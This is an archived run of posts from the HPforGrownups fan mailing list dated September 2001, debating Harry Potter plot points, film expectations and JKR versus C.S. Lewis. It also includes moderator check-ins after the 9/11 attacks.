imagining Harry looking in on Narnia.





From Aberforths_Goat at Yahoo.com  Tue Sep 11 00:18:51 2001
From: Aberforths_Goat at Yahoo.com (Aberforth's Goat)
Date: Tue, 11 Sep 2001 02:18:51 +0200
Subject: [HPforGrownups] Re: JKR vs C.S. Lewis [Insanely LONG]
References: <9njk1p+b0e3@eGroups.com>
Message-ID: <01bf01c13a57$558b41c0$e500a8c0@shasta>

No: HPFGUIDX 25908

Pippin mentioned

> those intriguing Pensieve children...D'you suppose Dumbledore
> might've visited Narnia once upon a time and his memories of those
> Pevensey children are now swirling around in the Pensieve?

Doubtless, *that's* what accounts for the gleam in his eye ...

> Seriously, that was a great post, goat! But you left off Queen
> Jadis, a dem fine woman, IMO. <g>

Said from one connoisseur to another ... =;->

Baaaaaa!

Aberforth's Goat (a.k.a. Mike Gray, who is thinking about retiring to a
REALLY big thistle patch after that blunder.)
_______________________

"Of course, I'm not entirely sure he can read, so that may not have been
bravery...."




From foxmoth at qnet.com  Tue Sep 11 00:55:09 2001
From: foxmoth at qnet.com (foxmoth at qnet.com)
Date: Tue, 11 Sep 2001 00:55:09 -0000
Subject: Wand order: Should there have been a public whoops?
Message-ID: <9njndd+ff47@eGroups.com>

No: HPFGUIDX 25909

...waits while everyone who is S&T of discussing this scrolls on 
past...
	A public whoops! might have made us feel better, but it would  
only have spoiled the illusion for the 99% of readers who would never 
notice anything was wrong.  I agree the corrected version isn't quite 
as graceful or affecting as the original, but you know, that could be a 
way of being as fair as possible to the people who'd already bought the 
book...either you get the graceful version, or the correct 
one...neither is perfect. 
	As ingenious as all our inventions are, they all rely on either 
the scene at Godric's Hollow  not unfolding as we've been led to 
believe it did, or priori incantatem not working the way we've been 
told it does. Given JKR's predilection for re-using plot devices, that 
probably wouldn't fly. I have a feeling we can expect priori to show up 
again, and at that time it will be very important that Harry not be 
able to interfere with the way it works.

Pippin





From degroote at altavista.com  Tue Sep 11 01:42:55 2001
From: degroote at altavista.com (Vicky DeGroote)
Date: 10 Sep 2001 18:42:55 -0700
Subject: [HPforGrownups] Dorms
Message-ID: <20010911014255.18322.cpmta@c012.sfo.cp.net>

No: HPFGUIDX 25910

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From john at walton.to  Tue Sep 11 01:59:38 2001
From: john at walton.to (John Walton)
Date: Mon, 10 Sep 2001 21:59:38 -0400
Subject: [HPforGrownups] Dorms
In-Reply-To: <20010911014255.18322.cpmta@c012.sfo.cp.net>
Message-ID: <B7C2E84A.16A0%john@walton.to>

No: HPFGUIDX 25911

Vicky DeGroote said:

> There must be several rooms in Gryffindor tower marked Secon Years, etc.
> There's only 5 guys in Harry's room.  We've established that there are 100
> students at Hogwart's...

http://www.i2k.com/~svderark/lexicon/faq/hogwarts.html

You really should check out the FAQs area of the Lexicon before making
sweeping statements like that, Vicky. There are about five pages worth of
info on the group's thoughts on the number of students at Hogwarts.

Now, to reassure people, we don't want to stifle discussion or anything like
that. It's just that, since Penny has put together this wonderful FAQ full
of thoughts from all the group, it would be great if people used it. If you
still have questions about it after reading the FAQ, by all means fire them
off to the group.

--John

________________________________

John Walton -- john at walton.to

"'Twas brillig, and the slithy toves
Did gyre and gimble in the wabe;
All mimsy were the borogoves,
And the mome raths outgrabe."
--Lewis Carroll, "The Jabberwocky"
________________________________




From degroote at altavista.com  Tue Sep 11 02:55:02 2001
From: degroote at altavista.com (Vicky DeGroote)
Date: 10 Sep 2001 19:55:02 -0700
Subject: [HPforGrownups] MOVIE: The Norbert escapade
Message-ID: <20010911025502.2509.cpmta@c012.sfo.cp.net>

No: HPFGUIDX 25912

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From degroote at altavista.com  Tue Sep 11 03:16:12 2001
From: degroote at altavista.com (Vicky DeGroote)
Date: 10 Sep 2001 20:16:12 -0700
Subject: [HPforGrownups] I'm glad I'm not the only one!
Message-ID: <20010911031612.568.cpmta@c012.sfo.cp.net>

No: HPFGUIDX 25913

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From degroote at altavista.com  Tue Sep 11 03:41:03 2001
From: degroote at altavista.com (Vicky DeGroote)
Date: 10 Sep 2001 20:41:03 -0700
Subject: [HPforGrownups] RE: Cedric as Captain; Werewolves;
    "Problems" in GoF; In defense  of Steve; Draco & CoMC
Message-ID: <20010911034103.11592.cpmta@c012.sfo.cp.net>

No: HPFGUIDX 25914

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From daffanee2 at yahoo.com  Tue Sep 11 03:54:37 2001
From: daffanee2 at yahoo.com (Laura Fairhead)
Date: Mon, 10 Sep 2001 20:54:37 -0700 (PDT)
Subject: [HPforGrownups] MOVIE: The Norbert escapade
In-Reply-To: <20010911025502.2509.cpmta@c012.sfo.cp.net>
Message-ID: <20010911035437.14992.qmail@web20810.mail.yahoo.com>

No: HPFGUIDX 25915

My guess is, when they release it to DVD, that they
will have maybe a 2 disk set, one for the movie and
one of "extras" like, the deleted scenes, behind the
scenes stuff, maybe (hopefully) some previews of the
second movie.


--- Vicky DeGroote <degroote at altavista.com> wrote:
> Somewhere in all of these e-mails someone said that
> the uncut version of the movie is 4 hours. I don't
> have a problem with that!  WHo has a problem with
> that?!  Intermissions?  Sure, for the whimps.  How
> about one screen has intermissiona dn it's the "kid"
> theatre and the other has no intermissions and is
> the "grown-ups" theatre.  They could at least
> release an uncut version onto video when the time
> comes!  Won't THAT day be heaven?!  My 6 year old:
> "Mommy, what's on TV?"  Me: "What do you think? 
> It's Harry Potter, kid!  All day everyday!  Get used
> to it ok?!!!!"  I plan to to go to the movie as
> early as possible on November 16-no kids, but as
> many grown ups (true fans)that I can get together. 
> I'll take my daughter on the 17th.  Then if she has
> to potty she won't have to go in the popcorn
> container! =0P
> 
> Kitty, only 143 e-mails to go woohoo!
> On Sat, 08 September 2001, "Saitaina" wrote:
> 
> > 
> > It would be stupid to cut any Norbert scene as
> that's where Harry, Herm, and
> > Neville lose all those house points which nearly
> guarantee's Slytherin for
> > the house cup thus the giant celebrating moment at
> the end when Dumbledore
> > awards them house points for their actions
> regarding Quirll.  While not a
> > critical scene it is important to fans and it
> would be horrible to see all
> > that go away.
> > 
> > I vote they keep every scene and have an
> intermission ever hour for the kids
> > to run around during.  Who's with me?
> > Saitaina
> > *****
> > "I should go help," Willow said. "Or Giles is
> liable to speak English and no
> > one will understand him."-Willow,"Master of
> Puppets", by Saber
> > ShadowKitten-Buffy the Vampire Slayer-fanfic
> > 
> > "I'm not listening to you. I am at one. I am at
> peace with all living things
> > and if you break my concintration, I will break
> your legs."-Angel, "The
> > Florida Vacation"-Buffy the Vampire
> Slayer-fanfiction
> > 
> > "That's allright, Harry." said Dumbledore
> cheerfully. "We'll give you
> > another two years and then we'll feed you to a
> balisk."-Dumbledore,"Draco
> > Dormiens, by Cassandra Claire-Harry Potter-fanfic
> > 
> > 
> > 
> > 
> > 
> > _______ADMIN________HPFGU_______ADMIN__________
> > 
> > Attention everyone! Before posting, you must read
> our netiquette tips at
> >
>
http://groups.yahoo.com/group/HPforGrownups/files/Admin%20Files/netiquetteTIPS.htm
> > 
> > You should also read the Very Frequently Asked
> Questions file (VFAQ) at
> >
>
http://groups.yahoo.com/group/HPforGrownups/files/Admin%20Files/VFAQ.htm
> and check out our FAQ-based essays at:
> http://www.i2k.com/~svderark/lexicon/faq/
> > 
> > For more details or help, contact your personal
> List Elf or the Moderator Team at
> hpforgrownups-owner at yahoogroups.com.
> > 
> > Want to leave this list? Email
> hpforgrownups-unsubscribe at yahoogroups.com 
> > 
> > Your use of Yahoo! Groups is subject to
> http://docs.yahoo.com/info/terms/ 
> 
> 
> Find the best deals on the web at AltaVista
> Shopping!
> http://www.shopping.altavista.com
> 


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From catlady at wicca.net  Tue Sep 11 03:55:50 2001
From: catlady at wicca.net (Rita Winston)
Date: Mon, 10 Sep 2001 20:55:50 -0700
Subject: Werewolves/Lupin - Animagus offspring - Wand Order Mother - Potions, 
 Advanced
Message-ID: <3B9D8B46.8E25FC32@wicca.net>

No: HPFGUIDX 25916

Tabouli wrote:

> perhaps all you Lupin lovers out there 
> should pause for thought... would you be
> prepared to bear his periodically hairy, 
> destructive werecubs for him?

They wouldn't be any worse than human children, Muggle or wizard.... 

I believe that Remus strongly wants not to afflict anyone else with the
burden he suffers under, therefore wants not to beget children in case
the condition is hereditary, therefore he thinks that even a woman who
was crazy enough to want to marry a penniless pariah wouldn't be willing
to forego childrearing for his sake, therefore he has all the more
reason for eschewing courtship.... 

Little does he know that not only am I accustomed to being the sole
breadwinner, but to me it is yet another of his excellences that he
wouldn't want to inflict children on me.

Of course, if the mother were a tiger Animagus, or maybe even if she
were a raccoon Animagus, the whole family could go on Marauder-esque
Full Moon romps.

Stephanie sdrk wrote:

> BTW, there are those of us who would 
> really like it if the virus were only 
> transmittable during the transfigured phase. 

Yes! 
And if it IS transmittable during human phase, how serious of a bite
does it have to be? 

Tabouli wrote:

> Which brings me to the fascinating realm 
> of Animagus Reproduction (***Morality 
> Police, avert your eyes now***).  What 
> do people think the story is there?  As
> I see it, there are at least four possibilities:

I believe in your suggestion II: the fetus always transforms along with
the mother until labor begins, at which time its form is fixed. She
should be careful to remain in human form as her due date approaches, so
that she doesn't happen to be in animal form at just the wrong moment.
The species of the child is not affected by what form the mother was in
during conception, nor what species the father was (natural animal,
natural human, Animagus in animal form, werewolf in wolf form: are there
any other possibilities?). 

My mention of fathers implies my answer to your question about male
Animagi: "Can he father offspring when in animal form, or is he not a
"true animal" and therefore sterile or not interested?" I believe he can
beget while in animal form, on an appropriate female natural animal or
on a female Animagus in appropriate animal form. I personally believe
there were a lot of cute big furry black mutt puppies around Hogsmeade
back in the 1970s...

However, in my theory the animal whose mother was a female Animagus is
an exceptionally intelligent and talented animal. I suggested that
Crookshanks's intelligence and talents would be explained if he were
McGonagall's love-child, conceived as well as born in animal form, and
fathered by an orange Persian tomcat, before GoF was published, let
alone Kneazles unleashed on an eager world.

I have two problems with my own theory. I can't decide which is the
major and which the minor problem. One is metaphysical, about how can
there be a human being who doesn't have a human biological father. The
other is that all the most interesting animals bear their offspring in
litters --- if conception took place in feline or canine form, it
wouldn't be unusual to conceive septuplets. But human women are not
designed to bear septuplets, and the fetuses might die almost as soon as
she transformed to human.

Penny wrote:

> In short though, Harry was *NOT* thinking
> about his mother that night as far as we 
> know.  He *HAD*, however, been thinking 
> about his father. 

As you pointed out in a follow-up post, so far we have seen Harry think
a LOT more about his father than about his mother. Both wondering what
his father had been like and just plain missing his father. I believe
that this correlates with my theory about Lily having left a magically
intense memory of herself in her baby's mind: Harry didn't miss her as
much because SHE WAS THERE, albeit only in the unsatisfactory form of an
'imaginary friend'.

Professor Kitty Felini wrote:

> Can you imagine choosing Potions as an
> area of specialty and having to take
> extra classes & spend extra time with Snape?!

Maybe Snape is as nice to the top four Potions students in each year as
he is to Draco -- except for Hermione. That's always the catch with
theories about maybe Snape loves Potions more than torturing students:
then why doesn't he appreciate brand-new first year Hermione who shows
her respect for him by being desperate to win his approval, and who
wants to learn everything about Potion and even pays attention to what
he says in class? 

Aleks's sig quote was:

> "I meant," said Ipslore bitterly, "what 
> is there in this world that truly makes
> living worth while?" 
> Death thought about it "CATS," he said 
> eventually, "CATS ARE NICE." 
> --Terry Pratchett, Sourcery 

How true! On occasions when I'm miserable and say "I wish I were dead!"
and the little black cat meows at me to pet him, I pet him and say: "I
guess not. If I were dead, then I couldn't cuddle with the little black
cat. Don't go climb the bookcase: if you're not going to cuddle, then I
don't have to stay alive."
------------------------------------------------------------------
   Pepperwood, thunderbird down, seven inches
------------------------------------------------------------------
R ighteous
A ttractive
V ictorious
E ager
N octurnal
C ougar
L upin-loving
A mazing
W ishful
------------------------------------------------------------------

          /\ /\                                          ___  ___
           + +     Mews and views                       ( @ \/ @ ) 
         >> = <<         from Rita Prince Winston        \ @  @ / 
                                                          \ () /  
                     ("`-''-/").___..--''"`-._             \  / 
                     `6_ 6  )   `-.  (     ).`-.__.`)       \/ 
                     (_Y_.)'  ._   )  `._ `. ``-..-'
                    _..`--'_..-_/ /--'_.' ,'
                   ((('   (((-(((''  ((((



From degroote at altavista.com  Tue Sep 11 03:05:53 2001
From: degroote at altavista.com (Vicky DeGroote)
Date: 10 Sep 2001 20:05:53 -0700
Subject: [HPforGrownups] James' house (was Marauders' Houses)
Message-ID: <20010911030553.4847.cpmta@c012.sfo.cp.net>

No: HPFGUIDX 25917

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From degroote at altavista.com  Tue Sep 11 04:29:24 2001
From: degroote at altavista.com (Vicky DeGroote)
Date: 10 Sep 2001 21:29:24 -0700
Subject: [HPforGrownups] Super Molly-GoF dissatisfaction C.R.A.B.
Message-ID: <20010911042924.8402.cpmta@c012.sfo.cp.net>

No: HPFGUIDX 25918

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From degroote at altavista.com  Tue Sep 11 04:31:38 2001
From: degroote at altavista.com (Vicky DeGroote)
Date: 10 Sep 2001 21:31:38 -0700
Subject: [HPforGrownups] Can't find Vanity Fair
Message-ID: <20010911043138.25635.cpmta@c012.sfo.cp.net>

No: HPFGUIDX 25919

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From mellienel2 at yahoo.com  Tue Sep 11 04:35:36 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Tue, 11 Sep 2001 04:35:36 -0000
Subject: MOVIE: The Norbert escapade
In-Reply-To: <20010911035437.14992.qmail@web20810.mail.yahoo.com>
Message-ID: <9nk4ao+1i6e@eGroups.com>

No: HPFGUIDX 25920

--- In HPforGrownups at y..., Laura Fairhead <daffanee2 at y...> wrote:
> My guess is, when they release it to DVD, that they
> will have maybe a 2 disk set, one for the movie and
> one of "extras" like, the deleted scenes, behind the
> scenes stuff, maybe (hopefully) some previews of the
> second movie.
> 

>From your mouth to JKR and Chris Columbus' ears. Director's cut, 
anyone? Trailers, behind the scenes, character sketches, 
scene/costume sketches, cut scenes...yeah, I think it's fair to say 
the only thing I'm more excited about than the movie is the DVD....

(PS, twas I that said that about 4 hrs, but it was from the EW 
article. And it actually says in there "at least he [columbus] has 
one helluva dvd])

m.




From degroote at altavista.com  Tue Sep 11 05:03:38 2001
From: degroote at altavista.com (Vicky DeGroote)
Date: 10 Sep 2001 22:03:38 -0700
Subject: [HPforGrownups] Dorms
Message-ID: <20010911050338.28006.cpmta@c012.sfo.cp.net>

No: HPFGUIDX 25921

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From Aberforths_Goat at Yahoo.com  Tue Sep 11 07:28:36 2001
From: Aberforths_Goat at Yahoo.com (Aberforth's Goat)
Date: Tue, 11 Sep 2001 09:28:36 +0200
Subject: [HPforGrownups] James' house (was Marauders' Houses)
References: <20010911030553.4847.cpmta@c012.sfo.cp.net>
Message-ID: <01eb01c13a93$5f0b1590$e500a8c0@shasta>

No: HPFGUIDX 25922

Visky stated,

> Slytherin turns out the MOST dark wizards!  Not the ONLY dark
> wizards!

That hasn't actually been established yet, though most of us hope you're
right.

> No reason Pettigrew couldn't be Gryffindor and go dark.
> Peter seems the type to be loyal to whoever's nice to him, or now,
> who can protect him!

True. But it also seems likely that Peter will redem himself.

> Althoug, maybe there was one in the group
> from each house! James~Gryffindor(with Lily xo), Sirius~Ravenclaw,
> Remus~Hufflepuff (not a good fit) and Peter in Slytherin.

That theory was in vogue on the list a while back, though I believe Jo shot
it down in an interview. As I recall, she wasn't enitrely explicit, so the
theory might still have chance.

> Cedric was Hufflepuff and pretty cool guy.  Cho's a Hufflepuff
> and gotten Harry's attention (although he can never be with her,
> yuck after Cedric's death...)

Err, Cho's a Ravenclaw. And that bit about Cho and Harry not being able to
get it off - I sure hope you didn't say that too loud. This joint is
*crawling* with shippers of every shape, size, persuasion ond fanaticism -
and a Harry - Cho fundamentalist ist pretty dangerous when crossed. Still,
just in case one of them should go verbose on you, just tell 'em to go check
Penny's romance FAQ (http://www.i2k.com/~svderark/lexicon/faq/romance.html):
the list mom's on your side.

Baaaaaa!

Aberforth's Goat (a.k.a. Mike Gray)
_______________________

"Of course, I'm not entirely sure he can read, so that may not have been
bravery...."




From tabouli at unite.com.au  Tue Sep 11 08:25:31 2001
From: tabouli at unite.com.au (Tabouli)
Date: Tue, 11 Sep 2001 18:25:31 +1000
Subject: JKR's weaknesses (sacrilege!), Molly, and lots on CSl vs JKR
Message-ID: <006f01c13a9b$6d4588e0$8c846fcb@price>

No: HPFGUIDX 25923

Gwendolyn Grace:
> Some of her characters are so caricatured I can't even imagine them developing in the
series, and her poetry and incidents like the school song scene frankly make me cringe.

Yup, I'm with you on that, much as I love HP.  Cardboard henchmen, cartoon arch-villain, and I can't say her poetry is going to win her any Nobel prizes.  Her scansion, for example, is definitely a bit shaky...


Marsha/Marianna:
> Look at her (Molly's) reaction to Lockhart. She is as moony over him as a teenager. Hermione has an excuse: she is 12.  Molly doesn't. The Rita article incident is an extension of that. Despite her obvious merit and strengths, she strikes me as the type of woman who would read tabloids for fun, and is easily swayed by celebrity.

For all that Molly is tough and smart and a loving, assertive mother, I suspect that JKR has mixed in more than a dash of the gossipy, women's mag reading suburban housewife potion when cooking up her character...

Aberforth's Goat (emphasis added):
> We're currently more than a thousand pages into the series and have yet to
see a character really *change.* In CSL's books moral development and change
is all over the place. Eustace, Edmund, and Susan are all examples of
radical change; but all his books are, among other things, explorations of
growth and character development. **Of course, this change and development
takes place within the parameters of an explicitly redemptive world view;
people who don't agree with Lewis' world view may understandably find his
sort of change simplistic and unpleasantly moralistic.**<

The asterisked excerpt is precisely what I meant when I referred to lack of character development.  I don't agree that Eustace and Edmund particularly "grow" or "develop" at all, to be honest: their characters are not developed, they are *reformed*, which is a different thing altogether.  Edmund starts out as a sulky selfish bully, whose sins lead him into the clutches of the White Witch, who realises she's bad because she's nasty to people and reforms completely to a noble kind bland boy when Aslan gets crucified.  Eustace starts off as a pompous little whinger and stays that way until the dragon transformation, whereupon he is reformed to become as noble and kind and bland as the New Edmund.  Lewis even spells this out:

"It would be nice, and fairly near true, to say that 'from that time forth Eustace was a different boy'.  To be strictly accurate, he began to be a different boy.  He had relapses (...).  But most of those I shall not notice.  The cure had begun." (Voyage of the Dawn Treader, Lions paperback p89).

Cure!  Perhaps this is part of the Christian allegory: all sin and badness is a kind of disease, which can be cured by being Saved.  Eustace has been punished for his sins, and repented, and henceforth become as Good Person (more's the pity: he was much more interesting beforehand).  Lewis seems to have a fixed and not very interesting view of what a Good Person is and how such a person behaves; what characterisation he does within this category is pretty limited (Reepicheep is Brave, Lucy is Sweet and Loyal, Puddleglum is a Wet Blanket).

We don't really get more than a token insight into how CSL's characters think and feel, or about their background: this very much takes second place to what they're doing and what's happening in Narnia.  Could you really see a list like this exploring the inner motivations and thoughts of CSL characters the way we do to JKR's?  I don't feel that I really know any of his characters, as a multiple-time Narnia reader, whereas I *do* feel well-acquainted with the characters in HP.  Perhaps that's the key difference.  I also think that the changes we *have* seen in JKR's characters are much more believable than the total new leaf reformations in Narnia. 

I wonder if this difference has to do with the genders of the respective writers... there is a well-established tendency for women to focus more on the interpersonal domains and men to focus more on the objects and principles domains.

More Aberforth's Goat:
> CSL believed that morality is a simple and
intuitive thing, and that many of our moral conundrums result from ignoring
what we really know. Again, that's CSL's ethical system (and pretty
challenging one, too) - you can take it or leave it. (I do some of both.)
But I don't think you can say that his characters don't struggle with moral
issues, nor that their struggles are portrayed simplistically.<

I suppose my problem with this may be that I utterly disagree with CSL's view that morality is simple and intuitive, perhaps because I don't work within his Christian framework (at least, not consciously and canonically: having being raised in a society founded on Christian values does leave its mark, but that's another story...).  Yes, his characters do struggle with moral issues, e.g. Digory thinking about stealing an apple from the garden, but every time the Good and Evil choices and people are very clearly signposted in the text.  I don't think the world is anywhere near that simple.  People are capable of both Good and Bad, and these things are defined very differently depending on the individual and cultural context.  I greatly prefer JKR's approach, which sees Good and Bad as less intrinsic, as related to our choices, as more ambiguous, as not immediately obvious (e.g. Snape seeming Bad but turning out to be Good, Wormtail seeming Good but turning out to be Bad).

Still more:
> The way Jo constructs the wizarding world in parallel to our
own demands a close observation of contemporary trends. Narnia didn't need
that, since it is derived more from medieval and classical sources. To my
tastes, neither is better; they're just different.<

Yes, I'll buy this, but with one comment: given that contemporary trends and popular culture are more fundamental to JKR's work than CSL's, it's interesting to note that CSL is more specific about the time he's setting his stories in than JKR, who *has* left obvious enough clues, but has not specifically proclaimed any dates or eras.  I can't help wondering if JKR's work might date a lot more than CSL's for this reason.

As for the gender issue, let's move on the the third "developing" character you mentioned above: Susan. Who starts out bland and bit soft and girly, and then takes a one step transformation in Silly Teenager, revealing CSL's general disdain for adult womanhood (being, I assume, an alumnus of a traditional English boys' boarding school probably didn't help him in this) later by being derided as teenager interested in nothing but gossip and clothes who's so self-indulgent and fashionable that she pretends to have *forgotten* or dismissed all of her adventures in Narnia.  "Our sister Susan is no longer a friend of Narnia." (followed by a string of positively vicious insults from her nearest and dearest about her womanly idiocy).  Yeah right, as if and come off it Clive.  All of CSL's rare references to puberty and stereotypically "womanly" interests in the series are similarly scornful: note that Aravis, his only girl with oomph (as Aberforth's Goat says) is approved of because she is above such nonsense.

Now, as I ranted on for ages a few months ago, I think JKR does have some sexism in her books, but a lot of it is IMHO what I'd call "plausible" sexism, rather than pointed sexism (my main complaint is her lack of significant female characters, but that's gradually being overcome through the books). That is, she's describing teenage girls (Lavender and Parvati, notably) and suburban housewives (e.g. Molly) as a lot of them actually *are*, rather than trying to concoct a bunch of Role Models For Our Girls who are impossibly brave and smart and confident and capable and wise.

> I've never worked out the Pensieves' ages 

HP has clearly taken you over!  Pevensie, perhaps...?

Tabouli


[Non-text portions of this message have been removed]




From s_ings at yahoo.com  Tue Sep 11 09:01:05 2001
From: s_ings at yahoo.com (Sheryll Townsend)
Date: Tue, 11 Sep 2001 02:01:05 -0700 (PDT)
Subject: [HPforGrownups] Re: UK, US and Cdn versions :  GoF
In-Reply-To: <9njidf+5vvg@eGroups.com>
Message-ID: <20010911090105.39483.qmail@web14602.mail.yahoo.com>

No: HPFGUIDX 25924


--- cynthiaanncoe at home.com wrote:
<my original comment snipped>

Happy to oblige with quotes from the Canadian version!

> I'm curious about this.  Can someone quote the
> Canadian version, 
> because the word "obstacle" wouldn't fit in the
> American version.  
> The American text in my book is:
> 
> "My Lord, I must speak!" said Wormtail, panic in his
> voice now.  "All 
> through our journey I have gone over the plan in my
> head -- My lord, 
> Bertha Jorkins's disappearance will not go unnoticed
> for long, and if 
> we proceed, if I murder --"

In the Canadian version the above paragraph is the
same, save the last 3 words, which read: "if I
curse--"

> "If?" whispered the second voice.  "If?  If you
> follow the plan, 
> Wormtail, the Ministry need never know that anyone
> else has died.  If 
> you do it quietly and without fuss; I only wish that
> I could do it 
> myself, but in my present condition . . . Come,
> Wormtail, one more 
> death and our path to Harry Potter is clear.  by
> that time, my 
> faithful servant will have rejoined us -- "  

Again, there is only a minor difference. The Canadian
version reads "come, Wormtail" one more obstacle
removed and our path to Harry Potter is clear." These
are both on page 15 of the Canadian version.
> 
> Then later:
> 
> "One more murder ... my faithful servant at Hogwarts
> ... Harry Potter 
> is good as mine, Wormtail."
> 
This is found on page 16 of the Canadian version and
reads as follows:
"One more curse ... my faithful servant at Hogwarts
... Harry Potter is as good as mine, Wormtail."

> These changes as Laura describes them are so
> strange.  It is almost 
> like the editors are random Flint generators or
> something.  I hope 
> someone can figure this out.
> 
> Cindy
> 
I don't understand the need for all the differences,
either. There's certainly no need for some of these
changes.

Sheryll, who up way to early to compose coherent emails

=====
"Do not meddle in the affairs of dragons, for thou art crunchy and taste good with ketchup."

__________________________________________________
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From lumen_dei at yahoo.com  Tue Sep 11 09:06:24 2001
From: lumen_dei at yahoo.com (Lumen)
Date: Tue, 11 Sep 2001 11:06:24 +0200
Subject: Peter, where did you live?
Message-ID: <000201c13aa1$59ba1ec0$2e82153e@poorclar>

No: HPFGUIDX 25925

Personally, I would be rather disappointed if Peter was not a member of Gryffindor.  The books would loose their credibility for many readers if only the Slytherins went sour.  There are two contradictory statements in the books as regards evil wizards and witches: in PoS Hagrid tells Harry in chapter five,  
"Better Hufflepuff than Slytherin," said Hagrid darkly. "There's not a single witch or wizard who went bad who wasn't in Slytherin. You-Know-Who was one."  

Yet in CoS one finds, "For a few horrible seconds he had feared that the hat was going to put him in Slytherin, the house that had turned out more Dark witches and wizards than any other-but he had ended up in Gryffindor" 

How that is to be resolved remains to be seen.  However, if one of the major themes of the books is the freedom of the individual to choose what she or he does in life, then casting all the "you're sure to go rotten" people in one house kicks against that.  That's fatalistic, and puts us back with the Greek myths.  The fall from grace is always a possibility for everyone in the real world...  

There is this added perspective, which has more power now that the Marauder's Map has made murder within the walls of Hogwarts possible.  James and Sirius are responsible for masterminding the creation of a map that was a tool for breaking rules, and even in their time placed the lives of others in serious risk, as Lupin states. The example of James and Sirius didn't particularly encourage Peter to learn to really reflect on where his actions might ultimately lead...

Lastly, if Peter were a member of Slytherin during his school years, would Sirius ever have considered asking the Potters to make him the secret keeper?  Would they have considered it?  Everyone knew there was a spy in their midst, so it seems IMHO to be stretching it to think they would have turned to a weak person, someone who had been in Slytherin, to entrust with something as vital as your life!

I will now duck before the tomatoes fly.

Also, uh, we are hoping in a few weeks to open an educational section at the site, any donations of papers, essays, etc would be deeply appreciated. Please take note all you Binghamton students.  Why stick your works of genius in a trunk once the prof hands them back?!

Maria
www.the-sorting-hat.com
lumen_dei at freeler.nl


[Non-text portions of this message have been removed]




From pennylin at swbell.net  Tue Sep 11 12:33:59 2001
From: pennylin at swbell.net (Penny & Bryce)
Date: Tue, 11 Sep 2001 07:33:59 -0500
Subject: [HPforGrownups] Wand order: Should there have been a public whoops?
References: <9njndd+ff47@eGroups.com>
Message-ID: <3B9E04B7.9060502@swbell.net>

No: HPFGUIDX 25926

Hi --

foxmoth at qnet.com wrote:

> Given JKR's predilection for re-using plot devices, that 
>> [saying that Harry wanted to see his father that night & magically
reversed the images in the wand so that his dad came out first]

probably wouldn't fly. I have a feeling we can expect priori to show up
>> again, and at that time it will be very important that Harry not be
>> able to interfere with the way it works.

Now, this I can buy!  Excellent point, Pippin.


> A public whoops! might have made us feel better, but it would 
> only have spoiled the illusion for the 99% of readers who would never
> notice anything was wrong.

Some more thoughts on why a public whoops was definitely needed, IMO. 
With my corporate lawyer hat on .... let's think about this.  Let's 
pretend that *none* of us on this fanatical group or anyone in the media 
had actually seen any of the later, corrected versions.  Assume that all 
of us, being fanatics, had our original GoF and no need to see a later 
version (quite possibly could have happened).  So, none of us know that 
the wand order was just an editorial goof and we continue to assume that 
there is something, something likely *significant,* that will be 
revealed in one of the future books about the night Harry's parents were 
killed.  We speculate off and on for years.  Book 7 comes out, and the 
details about Halloween 1981 in Book 7 don't mesh at all with the Priori 
Incantatum scene from GoF (original version).  How can this be? What's 
going on? We're all mystified.

On investigation, we learn that the original GoF scene was just an 
error, corrected years ago by Scholastic.  See the issue?  Yeah, no 
investor money on the line or anything earth-shaking, but there is 
integrity involved IMO.  HP is a high-profile series, and while you 
might not see press releases about editorial changes in books everyday 
(<g>), there should have been one in this case.  High-profile series, 
over 5 *million* copies affected and a scene that probably affects the 
fundamentals of the entire series.  Yeah, as a lawyer and a fan, I'd say 
a public whoops was needed.

Just my 2 galleons though.

Penny





From pennylin at swbell.net  Tue Sep 11 14:05:13 2001
From: pennylin at swbell.net (Penny & Bryce)
Date: Tue, 11 Sep 2001 09:05:13 -0500
Subject: NYC Residents -- Please Let us Know you're Okay
Message-ID: <3B9E1A19.6070303@swbell.net>

No: HPFGUIDX 25927

Hi --

Given the events of this morning (sketchy on the details myself as I 
just turned on the T.V.), we'd love for all the NY City HP4GU'ers (or 
those temporarily in NYC) to let us know you're okay.  2 planes have 
crashed into the World Trade Center, and it appears to be terroism.

Thanks,

Penny
Moderator Team




From heidi.h.tandy.c92 at alumni.upenn.edu  Tue Sep 11 14:16:39 2001
From: heidi.h.tandy.c92 at alumni.upenn.edu (Tandy, Heidi)
Date: Tue, 11 Sep 2001 10:16:39 -0400
Subject: ADMIN2RE: [HPforGrownups] NYC Residents -- Please Let us Know you
	're Okay
Message-ID: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2C40@MIAEXCH1>

No: HPFGUIDX 25928

Also those in Boston and Washington. Please check in.
It's on topic - we swear. 

> -----Original Message-----
> From: Penny & Bryce [mailto:pennylin at swbell.net]
> Sent: Tuesday, September 11, 2001 10:05 AM
> To: HPforGrownups
> Subject: [HPforGrownups] NYC Residents -- Please Let us Know 
> you're Okay
> 
> 
> Real-To:  Penny & Bryce <pennylin at swbell.net>
> 
> Hi --
> 
> Given the events of this morning (sketchy on the details myself as I 
> just turned on the T.V.), we'd love for all the NY City HP4GU'ers (or 
> those temporarily in NYC) to let us know you're okay.  2 planes have 
> crashed into the World Trade Center, and it appears to be terroism.
> 
> Thanks,
> 
> Penny
> Moderator Team
> 
> 
> ------------------------ Yahoo! Groups Sponsor 
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> Attention everyone! Before posting, you must read our 
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You should also read the Very Frequently Asked Questions file (VFAQ) at
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From cynthiaanncoe at home.com  Tue Sep 11 14:23:54 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Tue, 11 Sep 2001 14:23:54 -0000
Subject: GoF:  Murder vs. Curse? (LONG)
In-Reply-To: <20010911090105.39483.qmail@web14602.mail.yahoo.com>
Message-ID: <9nl6pq+sfuo@eGroups.com>

No: HPFGUIDX 25929

Sheryll wrote:
> 
> Happy to oblige with quotes from the Canadian version!
> 
> > The American text in my book is:
> > 
> > "My Lord, I must speak!" said Wormtail, panic in his
> > voice now.  "All 
> > through our journey I have gone over the plan in my
> > head -- My lord, 
> > Bertha Jorkins's disappearance will not go unnoticed
> > for long, and if 
> > we proceed, if I murder --"
> 
> In the Canadian version the above paragraph is the
> same, save the last 3 words, which read: "if I
> curse--"
> 
> > "If?" whispered the second voice.  "If?  If you
> > follow the plan, 
> > Wormtail, the Ministry need never know that anyone
> > else has died.  If 
> > you do it quietly and without fuss; I only wish that
> > I could do it 
> > myself, but in my present condition . . . Come,
> > Wormtail, one more 
> > death and our path to Harry Potter is clear.  by
> > that time, my 
